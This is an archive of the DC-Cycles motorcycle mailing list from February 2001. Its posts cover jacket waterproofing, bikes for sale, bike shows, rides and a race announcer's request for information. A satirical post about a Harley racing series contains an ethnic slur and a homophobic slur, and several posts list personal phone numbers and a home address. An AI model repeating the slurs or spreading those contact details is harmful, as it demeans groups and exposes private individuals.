Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 ----- Original Message ----- From: Matthew Patton > Hmmm, I felt like a duck in a rain shower this morning. Problem was I > wasn't dry. The JR Meteor v3 is supposed to be 100% water proff. > right! After an hour of highway riding in moderate to light rain my > shoulders are soaked (apparently that seam leaks very well) and my > front is damp and little rivlets were running down the inside front > and sleeve of the jacket. So what do I need to do to the jacket to > 'fix' the waterproofing? The thing is only a month old. You might want to peruse the fine print. Most jackets claim to be water-resistant, not waterproof. I wonder if the JR jacket's seams are taped on the inside? If not, I would suggest getting the kit that Aerostich sells for waterproofing seams from the outside, or alternately taping the seams if you can get to them from the inside without discombobulating the whole jacket. At the very least, give it a Scotchguard treatment. The Aerostich web site has a good FAQ on waterproofing synthetic gear. My Fieldsheer Cordura jacket and Joe Rocket pants work great in the rain. I've worn them in much harder rain than we've had in the last several days and stayed completely dry. I've been wearing them the last three days and foregoing the Aerostich. As you know the Aerostich leaks like crazy, mostly due to clapped out Velcro on the main zipper flap. I'm sending it to Minnesota to have the Velcro on the main flap replaced. I don't have problems with seams on the 'Stich, just the zipper. P From dc-cycles-request Fri Feb 16 14:12:29 2001 Return-Path: Received: from smtp-out.kivex.com (smtp-out.kivex.com [204.177.32.18]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1GJCSn04587 for ; Fri, 16 Feb 2001 14:12:28 -0500 (EST) Received: from kawgirl (kawgirl.kivex.com [208.213.150.18]) by smtp-out.kivex.com (8.8.8/8.8.7-KIVEX) with SMTP id OAA19019; Fri, 16 Feb 2001 14:12:31 -0500 (EST) Date: Fri, 16 Feb 2001 14:12:00 -0500 (EST) From: "lisa@XXXXXX" X-Sender: lgoddard@kawgirl Reply-To: "lisa@XXXXXX" To: dccycles cc: cc12345@XXXXXX Subject: bike for sale Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII -83 Honda Shadow 500 (VTC500) Red 15,500 miles (approx) It's not running right now but was ridden a bit last summer. some dents but what do you expect with an '83? the seller is hoping for $800. The bike is currently in the Rockville/Bethesda area. please send all mail to cc12345@XXXXXX thanks. From dc-cycles-request Sat Feb 17 00:06:20 2001 Return-Path: Received: from smtp5.gateway.net (relaya.gateway.net [208.230.117.249]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1H55hn14052 for ; Sat, 17 Feb 2001 00:05:44 -0500 (EST) Received: from 0016530349 (1Cust248.tnt3.manassas.va.da.uu.net [63.25.85.248]) by smtp5.gateway.net (8.9.3/8.9.3) with SMTP id AAA21033 for ; Sat, 17 Feb 2001 00:04:36 -0500 (EST) Message-ID: <004e01c0989f$6462ea40$f855193f@0016530349> Reply-To: "mofo.canuck" From: "mofo.canuck" To: Subject: Bike for sale Date: Sat, 17 Feb 2001 00:06:30 -0500 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_004A_01C09875.7AB2AEE0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 This is a multi-part message in MIME format. ------=_NextPart_000_004A_01C09875.7AB2AEE0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_004B_01C09875.7AB2AEE0" ------=_NextPart_001_004B_01C09875.7AB2AEE0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hey all. I'm Lance in Leesburg, VA. My 2-year-old bike is for sale, as = I'll be getting a new machine soon. I bought it new from the crate in = October, 1998. If anyone is interested: 1998 Yamaha YZF600R, Blue/white, 26k miles. Extras: Yoshi S/S slip-on, = Second Look tank bra, RKA tank bag, LP smoked Speedscreen. New tires, = chain & sprockets and brakes. Comfortable and capable. $4750. Lance = (703) 779-3664. This bike has been very well-maintained and well-tuned. It has a lot of = 500 and 600 mile days on it, to explain the mileage. Other than the = odo, no signs of its age at all. I'm hoping to sell it in March. Call or e-mail if you have any questions. lance ------=_NextPart_001_004B_01C09875.7AB2AEE0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Hey all.  I'm Lance in Leesburg, = VA.  My=20 2-year-old bike is for sale, as I'll be getting a new machine = soon.  I=20 bought it new from the crate in October, 1998.  If anyone is=20 interested:
 
1998 Yamaha YZF600R, = Blue/white, 26k miles.=20 Extras:  Yoshi S/S slip-on, Second Look tank bra, RKA tank bag, LP = smoked=20 Speedscreen.  New tires, chain & sprockets and brakes. =20 Comfortable and capable.  $4750.  Lance (703)=20 779-3664.
 
This bike has been very well-maintained = and=20 well-tuned.  It has a lot of 500 and 600 mile days on it, to = explain the=20 mileage.  Other than the odo, no signs of its age at all.  I'm = hoping=20 to sell it in March.
 
Call or e-mail if you have any=20 questions.
 
lance



 
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HOH4BwPlpjoFkJzn0pmGb5kbaD2pmR//2Q== ------=_NextPart_000_004A_01C09875.7AB2AEE0-- From dc-cycles-request Sun Feb 18 18:34:12 2001 Return-Path: Received: from gothic.answerlogic.com (gothic.answerlogic.com [38.203.217.7]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1INYBn26039 for ; Sun, 18 Feb 2001 18:34:12 -0500 (EST) Received: from klingon (10.10.10.190 [10.10.10.190]) by gothic.answerlogic.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id DCD94V3P; Sun, 18 Feb 2001 15:32:06 -0500 Message-ID: <0e6b01c099e9$91c54c30$be0a0a0a@answerlogic.com> From: "Han Park" To: References: Subject: Re: NY Bike show question Date: Sun, 18 Feb 2001 15:29:57 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 test From dc-cycles-request Sun Feb 18 22:28:24 2001 Return-Path: Received: from imo-r01.mx.aol.com (imo-r01.mx.aol.com [152.163.225.1]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1J3SNn29654 for ; Sun, 18 Feb 2001 22:28:24 -0500 (EST) Received: from EmergeOut@XXXXXX by imo-r01.mx.aol.com (mail_out_v29.5.) id 2.31.10a61ab8 (3962) for ; Sun, 18 Feb 2001 22:27:24 -0500 (EST) From: EmergeOut@XXXXXX Message-ID: <31.10a61ab8.27c1ec9b@aol.com> Date: Sun, 18 Feb 2001 22:27:23 EST Subject: NY BIKE SHOW To: dc-cycles@XXXXXX MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="part1_31.10a61ab8.27c1ec9b_boundary" Content-Disposition: Inline X-Mailer: 6.0 sub 10501 --part1_31.10a61ab8.27c1ec9b_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Will someone e-mail me and let me know when the NY bike show is? Or did I miss it. It just so happens that I will be in NYC March 1 through 4th. So, if there will be a bike show while I am there I would like to attend. Also, if I haven't missed it please give me detail on where, time, cost, etc. Thanks in Advance! Ride on Ladies and Gentleman --part1_31.10a61ab8.27c1ec9b_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: 7bit Will someone e-mail me and let me know when the NY bike show is?  Or did I
miss it.  It just so happens that I will be in NYC March 1 through 4th.  So,
if there will be a bike show while I am there I would like to attend.  Also,
if I haven't missed it please give me detail on where, time, cost, etc.  
Thanks in Advance!

Ride on Ladies and Gentleman --part1_31.10a61ab8.27c1ec9b_boundary-- From dc-cycles-request Sun Feb 18 22:51:57 2001 Return-Path: Received: from lycanthrope.crosslink.net (lycanthrope.crosslink.net [206.246.124.36]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1J3ptn00156 for ; Sun, 18 Feb 2001 22:51:56 -0500 (EST) Received: from norc (dial122.king-george.246.crosslink.net [207.199.164.155]) by lycanthrope.crosslink.net (8.9.3/) with ESMTP id WAA04160 for ; Sun, 18 Feb 2001 22:51:51 -0500 X-Really-To: Message-Id: <4.2.2.20010218225057.00c68a40@biga.pop.crosslink.net> X-Sender: biga@XXXXXX X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Sun, 18 Feb 2001 22:51:41 -0500 To: dc-cycles@XXXXXX From: Andrew Culpepper Subject: Re: NY BIKE SHOW In-Reply-To: <31.10a61ab8.27c1ec9b@aol.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed At 10:27 PM 2/18/01 , EmergeOut@XXXXXX wrote: >Will someone e-mail me and let me know when the NY bike show is? Or did I >miss it. It just so happens that I will be in NYC March 1 through 4th. So, >if there will be a bike show while I am there I would like to attend. Also, >if I haven't missed it please give me detail on where, time, cost, etc. >Thanks in Advance! > >Ride on Ladies and Gentleman Next weekend. http://www.motorcycleshows.com/ny.cfm Andrew '90 EX500 From dc-cycles-request Mon Feb 19 15:06:00 2001 Return-Path: Received: from smgt.net (59-90-112-64-user.darwin.net [64.112.90.59] (may be forged)) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1JK5wn15990 for ; Mon, 19 Feb 2001 15:05:59 -0500 (EST) Received: from 2g0up [64.44.97.121] by smgt.net (SMTPD32-6.05) id AC6CE7C601AC; Mon, 19 Feb 2001 15:05:00 -0500 From: "Ahalan" To: "dc-cycles (E-mail)" Subject: Whats up w/ DC-Cycles Date: Mon, 19 Feb 2001 15:03:35 -0800 Message-ID: <000101c09ac8$31571060$3e00000a@darwin.net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 I have received about 3 messages all weekend - is the problem with my system or the collective's ? Niv BMW F650ST From dc-cycles-request Mon Feb 19 15:30:16 2001 Return-Path: Received: from loki.vitalspring.com (loki.vitalspring.com [66.2.186.213]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1JKUEn16404 for ; Mon, 19 Feb 2001 15:30:14 -0500 (EST) Received: from 66-2-186-195.customer.algx.net (66-2-186-195.customer.algx.net [66.2.186.195]) by loki.vitalspring.com (8.9.3/8.9.3) with SMTP id PAA01707; Mon, 19 Feb 2001 15:30:06 -0500 From: "Christopher Weaver" To: "Ahalan" , "dc-cycles \(E-mail\)" Received: from no.name.available by 66-2-186-195.customer.algx.net via smtpd (for www.vitalspring.com [66.2.186.214]) with SMTP; 19 Feb 2001 20:32:52 UT Subject: RE: Whats up w/ DC-Cycles Date: Mon, 19 Feb 2001 09:16:56 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: <000101c09ac8$31571060$3e00000a@darwin.net> I think the problem is that it's been sunny all weekend. Lots of folks are out riding instead of posting. Just a guess. Chris Weaver VTR, YSR, dccycles.com -----Original Message----- From: Ahalan [mailto:rdrdr@XXXXXX] Sent: Monday, February 19, 2001 6:04 PM To: dc-cycles (E-mail) Subject: Whats up w/ DC-Cycles I have received about 3 messages all weekend - is the problem with my system or the collective's ? Niv BMW F650ST From dc-cycles-request Mon Feb 19 15:50:45 2001 Return-Path: Received: from c002.snv.cp.net (c002-h005.c002.snv.cp.net [209.228.32.169]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1JKoin16730 for ; Mon, 19 Feb 2001 15:50:44 -0500 (EST) Received: (cpmta 9969 invoked from network); 19 Feb 2001 12:50:22 -0800 Date: 19 Feb 2001 12:50:22 -0800 Message-ID: <20010219205022.9968.cpmta@c002.snv.cp.net> X-Sent: 19 Feb 2001 20:50:22 GMT Received: from [205.229.56.13] by mail.peoplepc.com with HTTP; 19 Feb 2001 12:50:22 PST Content-Type: text/plain Content-Disposition: inline Mime-Version: 1.0 To: rdrdr@XXXXXX From: LAURA GRANATO Cc: dc-cycles@XXXXXX X-Mailer: Web Mail 3.9.0.16 Subject: Re: Whats up w/ DC-Cycles Nah, I don't think anybody has much to say right now...stir things up, Niv :-) LAG > > I have received about 3 messages all weekend - is the problem with my system > or the collective's ? > > Niv > BMW F650ST ________________________________________________ PeoplePC: It's for people. And it's just smart. http://www.peoplepc.com From dc-cycles-request Mon Feb 19 19:49:52 2001 Return-Path: Received: from imo-d07.mx.aol.com (imo-d07.mx.aol.com [205.188.157.39]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1K0npn20502 for ; Mon, 19 Feb 2001 19:49:51 -0500 (EST) Received: from Eternity23@XXXXXX by imo-d07.mx.aol.com (mail_out_v29.5.) id 2.af.7553dcc (2170) for ; Mon, 19 Feb 2001 19:49:36 -0500 (EST) From: Eternity23@XXXXXX Message-ID: Date: Mon, 19 Feb 2001 19:49:36 EST Subject: Re: Whats up w/ DC-Cycles To: dc-cycles@XXXXXX MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="part1_af.7553dcc.27c31920_boundary" Content-Disposition: Inline X-Mailer: 6.0 sub 10505 --part1_af.7553dcc.27c31920_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit I went out for a short 100 mile ride today...boy, was that nice. Just went west and got myself lost...or, at least, tried to. I hit some of the back roads around snickersville rd/middleburg. Although I didn't recall the names, I pretty much knew them all from other rides. Ran into a lurker at the Exxon on Rt. 28 and Chruch rd. (Mike, Chris, nice to meet you guys! Hope to see you guys on some rides this spring!) I really can't wait for the warmer weather.....and racing season. Can't wait, can't wait, can't wait! Sean Jordan '93 CBR1000F (street) '90 FZR400 (race) --part1_af.7553dcc.27c31920_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: 7bit I went out for a short 100 mile ride today...boy, was that nice. Just went
west and got myself lost...or, at least, tried to. I hit some of the back
roads around snickersville rd/middleburg. Although I didn't recall the names,
I pretty much knew them all from other rides. Ran into a lurker at the Exxon
on Rt. 28 and Chruch rd. (Mike, Chris, nice to meet you guys! Hope to see you
guys on some rides this spring!) I really can't wait for the warmer
weather.....and racing season. Can't wait, can't wait, can't wait!

Sean Jordan
'93 CBR1000F (street)
'90 FZR400 (race) --part1_af.7553dcc.27c31920_boundary-- From dc-cycles-request Mon Feb 19 20:44:06 2001 Return-Path: Received: from m11.boston.juno.com (m11.boston.juno.com [64.136.24.74]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1K1i4n21398 for ; Mon, 19 Feb 2001 20:44:05 -0500 (EST) Received: from cookie.juno.com by cookie.juno.com for <"fTLSAcSSZ0OO+O1u10jMXJKdkY2/xoz69MCW7sQtXw0TDQl7iMNGcA=="> Received: (from celticracing@XXXXXX) by m11.boston.juno.com (queuemail) id FWPFAVT2; Mon, 19 Feb 2001 20:43:18 EST To: dc-cycles@XXXXXX Date: Mon, 19 Feb 2001 20:20:55 -0500 Subject: I'll Be Announcing Eight CCS Mid-Atlantic Events in 2001 Message-ID: <20010219.204154.-580283.0.CelticRacing@juno.com> X-Mailer: Juno 5.0.27 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Juno-Line-Breaks: 3-13,17-18,24-25,38-39,44-45,50-51,58-59,64-70,72-77,79-81,83,85,87 From: Tom Fitzpatrick That's right. I don't know if this resulted from my nonstop crusade with Kevin Elliott for the job, or if it was concocted as the best way to improve track safety (by getting me off of it). Whatever the reason, I will be the announcer at the following CCS Mid-Atlantic Races in 2001: June 2-3 Rausch Creek July 14-15 Rausch Creek Aug 4-5 VIR Aug 18-19 Rausch Creek Sept 8-9 Summit Point Sept 22-23 Rausch Creek Oct 6-7 VIR Oct 13-14 Summit Point I am very grateful for this opportunity, and want to make the most of it for all involved - CCS, the racers, the spectators, the tracks, and the entire motorcycle road racing community. To do that, I would like to ask two things of all my friends - past, present and future. First, I'd like to invite everyone to send me whatever information you feel might be useful to an announcer trying to inform, entertain, and entice back those attending the above CCS events. My hope is to enhance the audience's understanding of not only what is happening on the track at any particular moment, but to try to give the "big picture" to all in attendance. Initially, I would like to collect and study as many racer resumes as I can for those who are contemplating competing in the CCS Mid-Atlantic Series. No detail would be too small. However keep in mind that if you can help me out by organizing your input as bullets of key points (supported by whatever detail is appropriate), it would help me to highlight pertinent facts and to make sure you are represented accurately, and as closely as possible to the way you desire. Sponsors, pit crew, bike set-ups, past successes, current problems, future goals - whatever you are doing that makes you interesting, let me know. And, unless your name is "Smith", it probably couldn't hurt to provide Phonetic spelling of your name, as well. Although I am originally from South Jersey and could simply refer to everyone as "you'se guys", I'd only turn to that option as a last resort. heh. Beyond the racer resumes, I am open to any input which might be useful. For example, I would like to collect information on Safety Crew members - corner workers, race school instructors, crash truck operators, food preparation volunteers, and all the other wonderful people who donate their time to make an event just that - an event. Also, I would like to know about any clubs or other groups in attendance at the track so that they may be properly acknowledged. If you want help planning a ride, let me know. Tracks have been known to make special accommodations to visiting groups, and I would be glad to help coordinate a visit, if I can. Second (as if I need to ask ;-p), if I screw up, please let me know. Or, if you see an opportunity to further polish an otherwise sterling performance, please, let me know that, too. Although working for CCS, I see this job as a service that CCS is providing to the motorcycle racing community. My goal is to be as responsive as possible to the needs of that community. If I am not, I will do what it takes to achieve that goal. The best way to provide input would be as a Word file attached to an e-mail. If you don't have Word, an e-mail with the information in the body would be fine. However, if neither e-mail nor Word files are convenient or handy, you can mail or FAX material to me. My mailing address is: Celtic Racing C/O Tom Fitzpatrick 3254 Bethel Church Drive Woodbridge, VA 22192 If you would like to FAX something, call first at (703) 670-5525, so that I can turn on the machine (at the same number). Wish me luck. Tom "tried walking the walk, will now talk the talk" Fitzpatrick P.S. For the legions of Celtic Racing Fans, don't worry, you should still see me in SuperSingles! Tom Fitzpatrick CCS#80'6 (www.celticracing.com) Sponsors: *Fast Lane Cycles - fastlanecycles@XXXXXX (703)818-8890 (www.fastlanecycles.com) *Barnacle Bill's Racing Leathers - barnacle@XXXXXX (www.racingleather.com) *A.F.S. Contractor Inc.-Home Insurance Recovery Specialist (www.unitedwebuild.com/afs.html) *Janet Bell TAX Preparation, Accounting and Consulting (belljan@XXXXXX) From dc-cycles-request Mon Feb 19 21:06:42 2001 Return-Path: Received: from mail.rdc1.va.home.com (imail@XXXXXX [24.2.32.66]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1K26fn21806 for ; Mon, 19 Feb 2001 21:06:41 -0500 (EST) Received: from cj133739a ([24.15.184.123]) by mail.rdc1.va.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20010220020628.LPAZ20559.mail.rdc1.va.home.com@cj133739a> for ; Mon, 19 Feb 2001 18:06:28 -0800 Message-ID: <010301c09ae1$2cee2ea0$7bb80f18@reston1.va.home.com> From: "Keith Lamond" To: Subject: Bought a bike for my wife this weekend! Date: Mon, 19 Feb 2001 21:02:26 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 I know, we should have waited until my wife finished the MSF course, but when I saw the post about the Honda 500 V30 Magna for sale, it seemed like the perfect beginner bike was calling for us to by it. We went up to look at the bike Saturday. For those of you unfamiliar with the V30, it is a cruiser with 500cc V4 engine (baby VFR engine). Elizabeth sat on the bike and it past the first two important tests: She was able to flatfoot the bike and the seat was comfortable. Onur, the owner of the bike, offered to let me take it for a test spin, which of course I did not refuse. It took some time to get use to riding and steering in the cruiser seating position, but once I got use to it, the V30 is a good handling bike. Light, fairly nimble, and better ground clearance than many standard bikes. The engine has one of the smoothest power bands I've ever experienced. It felt like you could almost leave the bike in third and ride at any speed. Also for only having a 500cc engine, the bike moves. Good acceleration and definetely capable of cruising at 80 - 90mph. The bike had some minor cosmetic damage, but for the most part looked well maintained, and the price was definetely right. We decided to get it, and I picked it up this afternoon. On the ride home I got to test it out on the freeway and it was doing 80 -85 no problem, with power to spare. Elizabeth understands that she cannot start riding the bike till after she passes the test, however I may take for a spin a couple of times until then to keep the carbs clean and the engine lubricated. Keith 84 Nighthawk S 84 V30 Magna (until Elizabeth passes the MSF course) From dc-cycles-request Mon Feb 19 22:59:19 2001 Return-Path: Received: from maynard.mail.mindspring.net (maynard.mail.mindspring.net [207.69.200.243]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1K3xIn23512 for ; Mon, 19 Feb 2001 22:59:18 -0500 (EST) Received: from ix.netcom.com (vna-va11-39.ix.netcom.com [207.223.177.231]) by maynard.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id WAA18031; Mon, 19 Feb 2001 22:59:09 -0500 (EST) Message-ID: <3A91EBB6.6D9F7EDB@ix.netcom.com> Date: Mon, 19 Feb 2001 22:59:50 -0500 From: Chuck Pena Reply-To: the_penas@XXXXXX X-Mailer: Mozilla 4.75 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: DC Cycles , DC Cycles2 Subject: Racing Developments Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Pickerington, Ohio- AMA racing officials here today announced a new racing series designed to attract more Harley Davidson fans to GP racing. Designated "Unlimited USGP", the series will allow any displacement engine, as long as it makes no more power than a stock Wide-Glide. "We thought it'd be cool to have some racin' that the fuggin' Japs couldn't, like, win and stuff." said Clem Shepardson, interim director for H-D racing special projects while his brother Jeb is serving six months for parole violation. "Maybe our hogs ain't much in the turns, but maybe it's time racers found out about enjoyin' life, you know, kickin' back. It ain't all about speed, ya know. Anyway, I got the AMA to add the series when I threatened to sue them for using the word "motorcycle", which, apparently our legal department owns." When asked if this race series would be yet another example of how Harley Davidson uses its power in the marketplace to monopolize racing with predictable, uninteresting dog and pony shows, Shepardson responded, "maybe you want your ass kicked, huh, ya little friggin' faggot?" Already, racing teams have responded with exciting designs. Centerville Harley-Davidson is fielding an almost stock machine, save for the addition of bicycle cards in the spoked front wheels and the factory H-D race kit, which consists of number plates and carbon-fiber conchos. "We already got a guy to ride it. Ed from parts says he can make it for the second half of the first race, as long as we can trailer it the first half. He says motorcycles aggravate his shingles. Nobody else here really knows how to ride motorcycles, since we never have actually seen one on the sales floor, so Ed's our only hope, since Miguel Duhamel won't return our calls and Scott Russell said he could never get drunk enough to race a Harley again." Racing fans are similarly thrilled. Mark Jones, of Bunnlevel, NC said he was "thrilled" at the prospect of a new series, untill he realized that it wasn't NASCAR. "They race motorcycles? Isn't that dangerous? Why would anybody want to watch that?" The AMA racing department was closed for Australia Day, and could not be reached for comment. -- "Wherever you go, there you are." -- Buckaroo Banzai visit us at http://www.geocities.com/the_penas From dc-cycles-request Tue Feb 20 06:52:32 2001 Return-Path: Received: from imo-r08.mx.aol.com (imo-r08.mx.aol.com [152.163.225.8]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1KBqUn01873 for ; Tue, 20 Feb 2001 06:52:31 -0500 (EST) Received: from RacerGirl435@XXXXXX by imo-r08.mx.aol.com (mail_out_v29.5.) id 2.6c.7efafad (16493) for ; Tue, 20 Feb 2001 06:52:20 -0500 (EST) From: RacerGirl435@XXXXXX Message-ID: <6c.7efafad.27c3b474@aol.com> Date: Tue, 20 Feb 2001 06:52:20 EST Subject: Re: Racing Developments To: dc-cycles@XXXXXX MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Windows sub 127 Gee, doesn't he sound like a "real smart feller". "It ain't all about the speed you know"? What! NOW they tell me! Damnit! Jess Hopes to go WAY faster than a Harley on the track P.S. If you don't want to go fast then what's the point of being on the track? Harleys already go slow on the street, what more do you want? (Okay, let the flames be thrown) From dc-cycles-request Tue Feb 20 09:19:48 2001 Return-Path: Received: from web10502.mail.yahoo.com (web10502.mail.yahoo.com [216.136.130.152]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1KEJln04199 for ; Tue, 20 Feb 2001 09:19:47 -0500 (EST) Message-ID: <20010220141945.65047.qmail@web10502.mail.yahoo.com> Received: from [165.247.117.179] by web10502.mail.yahoo.com; Tue, 20 Feb 2001 06:19:45 PST Date: Tue, 20 Feb 2001 06:19:45 -0800 (PST) From: Todd Withrow Subject: RE: Whats up w/ DC-Cycles To: Christopher Weaver , Ahalan , "dc-cycles \(E-mail\)" In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii --- Christopher Weaver wrote: > I think the problem is that it's been sunny all > weekend. Lots of folks are > out riding instead of posting. Just a guess. > > Chris Weaver > VTR, YSR, dccycles.com I had to work all weekend. Blech! On the upside, I am off today :) and it is supposed to be 60 hee-hee. Todd ===== AIM: Inf DS http://www.geocities.com/mtwithrow ----------------------------------------------------------- Used to be that we "worldproofed" our children. Now society wants to childproof the world. __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Tue Feb 20 13:48:55 2001 Return-Path: Received: from web313.mail.yahoo.com (web313.mail.yahoo.com [216.115.105.78]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1KImsn08922 for ; Tue, 20 Feb 2001 13:48:54 -0500 (EST) Message-ID: <20010220184850.20542.qmail@web313.mail.yahoo.com> Received: from [198.26.132.101] by web313.mail.yahoo.com; Tue, 20 Feb 2001 10:48:50 PST Date: Tue, 20 Feb 2001 10:48:50 -0800 (PST) From: "Louis F. Caplan" Subject: Name/Phone of new dealer in woodbridge To: DC-Cycles MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Does anyone know the name and / or phone number of the new dealer in Woodbridge? I ordered something from them and would like to see if it came in yet, but can't find where I put the number. Thanks, Louis __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Tue Feb 20 14:08:21 2001 Return-Path: Received: from web906.mail.yahoo.com (web906.mail.yahoo.com [128.11.23.81]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1KJ8Kn09284 for ; Tue, 20 Feb 2001 14:08:20 -0500 (EST) Received: (qmail 29945 invoked by uid 60001); 20 Feb 2001 19:08:14 -0000 Message-ID: <20010220190814.29944.qmail@web906.mail.yahoo.com> Received: from [206.229.31.23] by web906.mail.yahoo.com; Tue, 20 Feb 2001 11:08:14 PST Date: Tue, 20 Feb 2001 11:08:14 -0800 (PST) From: Leon Begeman Subject: Re: Name/Phone of new dealer in woodbridge To: "Louis F. Caplan" , DC-Cycles In-Reply-To: <20010220184850.20542.qmail@web313.mail.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii --- "Louis F. Caplan" wrote: > Does anyone know the name and / or phone number of > the new dealer in > Woodbridge? According to BuyKawasaki.com MOTORCYCLE FACTORY KAWASAKI 3820 PRINCE WILLIAM PARKWAY WOODBRIDGE, VA 22192 (703) 583-9600 Store (540) 678-0874 Fax Leon. __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Tue Feb 20 14:34:29 2001 Return-Path: Received: from bc-gwgate1.int.bcop.com (bcopgate.bcop.com [204.99.250.45]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1KJYSn09737 for ; Tue, 20 Feb 2001 14:34:28 -0500 (EST) Received: from BCGATE-DOM-Message_Server by bc-gwgate1.int.bcop.com with Novell_GroupWise; Tue, 20 Feb 2001 13:37:07 -0600 Message-Id: X-Mailer: Novell GroupWise Internet Agent 5.5.3.1 Date: Tue, 20 Feb 2001 13:30:14 -0600 From: "George Cole" To: "<" Subject: Lunch Time Ride in Feb :o) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by dirty.meretrix.com id f1KJYVn09738 Hey all, Did anyone get out today? I did a loop on Georgetown Pike to River Bend around to Rt 7 and back, absolutely wonderful, only a few cages. Now back to work :o(. George Cole 00 VFR 99 R6 needs tags soon. George M Cole Senior Account Manager www.boisetech.com 301-523-4161 FAX 1-888-240-3154 Customer Service 1-800-525-9500 Boise Technology SUN Microsystems, Marconi Switches Web Page Design/Hosting, e-Commerce. Do you need Certified Contract help? Short or long term, all types available. Networking, BreakFix, Desktop, etc. We can provide the people you need. Prevent Disaster, Premote Technology With BOISE, it couldn't be easier. From dc-cycles-request Tue Feb 20 16:25:25 2001 Return-Path: Received: from web311.mail.yahoo.com (web311.mail.yahoo.com [216.115.105.76]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1KLPNn11568 for ; Tue, 20 Feb 2001 16:25:24 -0500 (EST) Message-ID: <20010220212521.725.qmail@web311.mail.yahoo.com> Received: from [64.157.61.39] by web311.mail.yahoo.com; Tue, 20 Feb 2001 13:25:20 PST Date: Tue, 20 Feb 2001 13:25:20 -0800 (PST) From: "Louis F. Caplan" Subject: Re: Name/Phone of new dealer in woodbridge To: Leon Begeman , DC-Cycles In-Reply-To: <20010220190814.29944.qmail@web906.mail.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Thanks, should have thought of the BuyKawasaki site myself. Instead I went to Yahoo's yellow pages, which apparently aren't updated yet. Louis --- Leon Begeman wrote: > --- "Louis F. Caplan" wrote: > > Does anyone know the name and / or phone number of > > the 